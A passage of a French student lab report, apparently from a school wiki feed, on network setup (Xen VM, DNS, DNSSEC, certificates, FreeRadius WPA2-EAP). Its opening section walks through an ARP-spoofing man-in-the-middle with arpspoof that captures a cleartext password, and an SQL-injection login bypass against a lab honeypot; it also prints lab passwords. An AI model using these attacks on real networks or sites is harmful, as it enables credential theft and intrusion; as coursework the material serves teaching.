    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54472</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54472"/>
				<updated>2020-12-14T12:23:40Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
